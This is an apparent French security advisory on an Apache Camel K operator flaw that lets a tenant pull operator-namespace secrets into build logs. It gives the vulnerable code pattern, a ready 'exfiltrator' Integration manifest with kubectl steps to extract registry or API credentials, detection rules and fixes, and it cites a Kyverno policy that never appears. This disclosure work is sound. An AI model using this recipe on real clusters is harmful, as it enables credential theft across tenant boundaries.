Aller au contenu
Hermes Codex

CVE-2026-80354 : contournement d'autorisation multi-tenant et fuite de secrets dans Apache camel k

HERMES

SCORE DE MENACE HERMES & EXPOSITION DE SECRETS CLOUD-NATIVE

Cible : Opérateur Apache Camel K — Réconciliateur d'intégrations multi-tenant et trait de construction
Confiance : 95%
88 / 100
ÉLEVÉ

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 18 / 20
Activité de menace 16 / 20
Militarisation 17 / 20
Exposition 17 / 20
Prévalence 18 / 20
Impact 19 / 20
Maturité de l'exploit 17 / 20
Potentiel d'attaque en chaîne 19 / 20
⚖️ Divergence & Justification opérationnelle

Le standard CVSS v3.1 évalue la CVE-2026-80354 à 8.1 élevé (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) en raison de l'authentification tenant préalable requise (PR:L). Le score Hermes Threat Score rehausse cette sévérité à 88 (ÉLEVÉ) dans les environnements Kubernetes multi-locataires et les chaînes d'intégration agentiques. Camel K fait office de passerelle entre les agents autonomes, les APIs d'outils et les services cloud. L'opérateur s'exécutant avec des privilèges cluster étendus, la résolution inter-namespaces de secrets permet à un pod d'agent ou un développeur restreint d'exfiltrer les jetons cloud maîtres, les mots de passe de bases de données et les clés d'API de modèles de langage (OpenAI, Anthropic, Bedrock), brisant le cloisonnement d'infrastructure.

HASS

SÉVÉRITÉ AGENTIQUE HASS & ÉLÉVATION DE PRIVILÈGE INTER-NAMESPACES

Cible : Orchestrateur d'outils pour agents multi-tenants et gestionnaire de secrets de cluster
Confiance : 95%
89 / 100
ÉLEVÉ

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions
Autonomie décisionnelle 18 / 20
Accès aux outils & APIs 19 / 20
Privilege 14 / 15
Persistence 12 / 15
External Impact 13 / 15
Propagation 13 / 15
⚖️ Divergence & Justification opérationnelle

Lorsque des agents autonomes opèrent dans des environnements partagés segmentés par namespaces Kubernetes, les frontières de sécurité reposent sur le RBAC. L'exploitation de la CVE-2026-80354 permet à un agent cantonné à un namespace restreint d'instrumenter l'opérateur Camel K pour extraire des secrets stockés dans le namespace d'administration. L'agent corrompu obtient ainsi des accès illégitimes aux connecteurs SaaS d'entreprise et aux registres de modèles sans disposer de droits administrateurs directs.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-80354: Apache Camel K Operator Authorization Bypass via Maven Profiles ValueSourcesVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTApache Camel K
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Apache Camel K documented in Hermes dossier.”

Preuves vérifiées associées :

1. Contexte technique et surface d’attaque

Section intitulée « 1. Contexte technique et surface d’attaque »

Dans les déploiements Kubernetes multi-locataires, les charges applicatives des utilisateurs sont isolées dans des namespaces dédiés (ex. tenant-a, tenant-b). Un opérateur Camel K central s’exécute dans un namespace privilégié (ex. camel-k ou operators), muni d’un compte de service à haute élévation (ClusterRole) :

┌─────────────────────────┐                            ┌───────────────────────────────┐
│ Namespace Locataire     │                            │ Namespace Opérateur           │
│ (tenant-a)              │                            │ (camel-k)                     │
│                         │                            │                               │
│ [Pod / Développeur]     │                            │ [Pod Opérateur Camel K]       │
│          │              │                            │   - Privilèges ClusterRole    │
│          ▼              │                            │   - Secrets Cloud d'entreprise│
│ Applique Integration CR:│                            │   - Clés d'API LLM            │
│ traits:                 │                            │               ▲               │
│  builder:               │                            │               │               │
│   maven-profiles:       │                            │ Résolution de ValueSource     │
│    - secret:master-key  │ ─── API Kubernetes ──────> │ dans son propre namespace     │
│                         │                            │ sans vérifier le RBAC tenant !│
└─────────────────────────┘                            └───────────────────────────────┘
ParamètreDétail techniqueImpact opérationnel
Identifiant CVECVE-2026-80354Bulletin de sécurité Apache Camel / GHSA-3r9g-8jw6-fcwx
Classe de vulnérabilitéContournement d’autorisation (CWE-639)Fuite de secrets et franchissement de namespaces
Sous-système affectéTrait Builder Camel K (mavenProfiles ValueSources)Boucle de réconciliation des builds d’intégration
Conditions d’accèsUtilisateur authentifié (PR:L) avec droit de création d’IntegrationRôle développeur tenant standard ou agent pod
Changement de portéePortée modifiée (S:C)Namespace tenant vers namespace opérateur
ConfidentialitéTotale (C:H)Divulgation des secrets maîtres du cluster
Versions corrigéesCamel K 2.9.3, 2.10.2, 2.11.0Mises à jour officielles et charts Helm

2. Analyse de la cause racine et architecture

Section intitulée « 2. Analyse de la cause racine et architecture »

La vulnérabilité se situe dans le code Go du réconciliateur du trait builder (pkg/trait/builder.go).

Défaut de vérification des droits lors de la résolution de ValueSource

Section intitulée « Défaut de vérification des droits lors de la résolution de ValueSource »

Lorsqu’une intégration sollicite une configuration Maven spécifique, le trait builder traite les entrées de builder.maven-profiles. Si une entrée est configurée sous forme de ValueSource référençant un Secret Kubernetes, le réconciliateur résout la ressource pour l’injecter dans le fichier settings.xml Maven :

// Modèle de code vulnérable dans le réconciliateur Camel K
func (t *builderTrait) resolveMavenProfiles(e *Environment) error {
    for _, profile := range t.MavenProfiles {
        if profile.ValueSource != nil && profile.ValueSource.SecretKeyRef != nil {
            ref := profile.ValueSource.SecretKeyRef
            // FAILLE : Résolution par défaut dans le namespace de l'opérateur,
            // sans emprunter l'identité (impersonation) du tenant !
            secretName := ref.Name
            secretKey := ref.Key


            secret, err := e.Client.CoreV1().Secrets(e.OperatorNamespace).Get(e.Ctx, secretName, metav1.GetOptions{})
            if err == nil {
                // Donnée confidentielle injectée dans le fichier de configuration du build !
                profileData = string(secret.Data[secretKey])
            }
        }
    }
    return nil
}

L’opérateur utilisant son propre client Kubernetes sans valider les droits de l’émetteur de la ressource Integration, le locataire contourne l’isolation stricte des namespaces.

sequenceDiagram
    autonumber
    actor Tenant as "Utilisateur tenant / Agent compromis"
    participant KubeAPI as "Serveur d'API Kubernetes"
    participant Operator as "Opérateur Camel K (Namespace: camel-k)"
    participant Secrets as "Magasin de secrets Kubernetes"
    participant BuildKit as "Pod de compilation (Kaniko/Buildah)"


    Tenant->>KubeAPI: "POST /apis/camel.apache.org/v1/namespaces/tenant-a/integrations"
    Note over Tenant,KubeAPI: "Manifeste avec trait builder.maven-profiles référençant secret:cloud-master-token"
    KubeAPI-->>Tenant: "201 Created (Ressource enregistrée)"
    KubeAPI->>Operator: "Événement de réconciliation émis"
    Operator->>Operator: "Traitement des traits -> Trait Builder"
    Note over Operator: "Résolution du secret dans le namespace opérateur (camel-k)"
    Operator->>Secrets: "GET /api/v1/namespaces/camel-k/secrets/cloud-master-token"
    Secrets-->>Operator: "Retour du contenu chiffré/en clair (autorisé par le ClusterRole)"
    Operator->>BuildKit: "Lancement du pod de compilation avec le secret injecté dans settings.xml"
    Note over Operator,BuildKit: "Le secret apparaît dans les journaux ou l'IntegrationKit"
    Tenant->>KubeAPI: "GET /apis/camel.apache.org/v1/namespaces/tenant-a/builds"
    KubeAPI-->>Tenant: "Extraction du secret dans les journaux de build !"

3. Déroulement chronologique de l’attaque

Section intitulée « 3. Déroulement chronologique de l’attaque »

Un attaquant disposant d’un compte restreint sur un namespace peut mener l’attaque suivante :

  1. Reconnaissance des secrets d’infrastructure : l’attaquant cible les noms standards des secrets de l’opérateur (ex. camel-k-registry-secret, aws-creds, llm-api-keys, database-credentials).
  2. Rédaction du manifeste d’intégration : l’attaquant crée un fichier Integration dans son namespace autorisé (tenant-a) en configurant le trait builder : 
    apiVersion: camel.apache.org/v1
    kind: Integration
    metadata:
      name: exfiltrator
      namespace: tenant-a
    spec:
      traits:
        builder:
          configuration:
            mavenProfiles:
              - "secret:camel-k-registry-secret/.dockerconfigjson"
      sources:
        - name: Exfiltrate.java
          content: |
            import org.apache.camel.builder.RouteBuilder;
            public class Exfiltrate extends RouteBuilder {
                public void configure() {
                    from("timer:tick?period=5000")
                        .log("Exécution dans le namespace tenant");
                }
            }
  3. Application de la ressource : l’attaquant applique le fichier via kubectl apply -f integration.yaml.
  4. Réconciliation par l’opérateur : l’opérateur lit le secret .dockerconfigjson dans camel-k et l’intègre dans le pod de build de l’intégration.
  5. Exfiltration des identifiants : en consultant les journaux du build (kubectl logs -n tenant-a -l camel.apache.org/build=exfiltrator), l’attaquant récupère les identifiants d’accès au registre privé ou les clés d’API maîtres.

4. Investigation forensique et télémétrie

Section intitulée « 4. Investigation forensique et télémétrie »

Analyse des journaux d’audit Kubernetes

Section intitulée « Analyse des journaux d’audit Kubernetes »

Surveiller les événements d’audit de l’API Kubernetes signalant la création de ressources Integration comportant des références suspectes :

{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "verb": "create",
  "user": {
    "username": "system:serviceaccount:tenant-a:agent-worker"
  },
  "objectRef": {
    "resource": "integrations",
    "namespace": "tenant-a",
    "name": "exfiltrator",
    "apiGroup": "camel.apache.org"
  },
  "requestObject": {
    "spec": {
      "traits": {
        "builder": {
          "configuration": {
            "mavenProfiles": ["secret:camel-k-registry-secret/.dockerconfigjson"]
          }
        }
      }
    }
  }
}

Télémétrie de l’opérateur

Section intitulée « Télémétrie de l’opérateur »

Examen des logs de l’opérateur Camel K (kubectl logs -n camel-k -l app=camel-k) pour détecter la résolution de secrets au profit de locataires tiers :

{"level":"info","ts":"2026-09-20T04:12:00Z","logger":"camel-k.trait.builder","msg":"Resolving maven profile secret camel-k-registry-secret for integration tenant-a/exfiltrator"}

5. Ingénierie de la détection

Section intitulée « 5. Ingénierie de la détection »
title: Référence de secret inter-namespaces dans le trait Camel K
id: 7c4b1820-21a4-49c8-8035-4cve2026camel
status: experimental
description: Détecte les événements d'audit Kubernetes où une ressource Integration configure le trait builder mavenProfiles en ciblant un secret.
logsource:
  product: kubernetes
  service: audit
detection:
  selection:
    verb:
      - create
      - update
      - patch
    objectRef.resource: 'integrations'
    objectRef.apiGroup: 'camel.apache.org'
    requestObject.spec.traits.builder.configuration.mavenProfiles|contains: 'secret:'
  condition: selection
level: high
tags:
  - attack.credential_access
  - attack.t1552.007
  - cve.2026-80354

6. Stratégie de remédiation et durcissement

Section intitulée « 6. Stratégie de remédiation et durcissement »

Mesures immédiates

Section intitulée « Mesures immédiates »
  1. Mise à jour de l’opérateur camel k : déployer sans délai Camel K 2.9.3, 2.10.2 ou 2.11.0. Les versions corrigées imposent que les secrets référencés résident obligatoirement dans le namespace propre de l’intégration.
  2. Contrôle d’admission : si la mise à jour immédiate est impossible, appliquer la politique d’admission Kyverno ci-dessus pour interdire l’usage de la chaîne secret: dans le trait builder.mavenProfiles.

Durcissement en profondeur

Section intitulée « Durcissement en profondeur »
  • Ségrégation des secrets sensibles : stocker les secrets maîtres dans un gestionnaire externe (HashiCorp Vault, AWS Secrets Manager) et injecter des jetons éphémères via l’External Secrets Operator plutôt que des secrets statiques dans le namespace de l’opérateur.
  • Principe du moindre privilège RBAC : restreindre les rôles des comptes de service locataires en interdisant toute modification non contrôlée des traits de compilation.

7. Corrélations stratégiques

Section intitulée « 7. Corrélations stratégiques »
CVE-2026-80351 : injection d'évaluation dans Apache Camel K Neutralisation incorrecte de directives dans le code évalué dynamiquement.
CVE-2026-80352 : injection de code YAML dans Apache Camel K Vulnérabilité d'injection de code dans la résolution de ressources personnalisées.
Renseignement logiciel : Apache Camel K Profil de vulnérabilités, distribution EPSS et analyse de surface d'attaque pour Camel K.
Sécurité par capabilités et moindre privilège des agents IA Architectures de défense pour le cloisonnement des secrets et des outils d'agents autonomes.

8. Sources et références

Section intitulée « 8. Sources et références »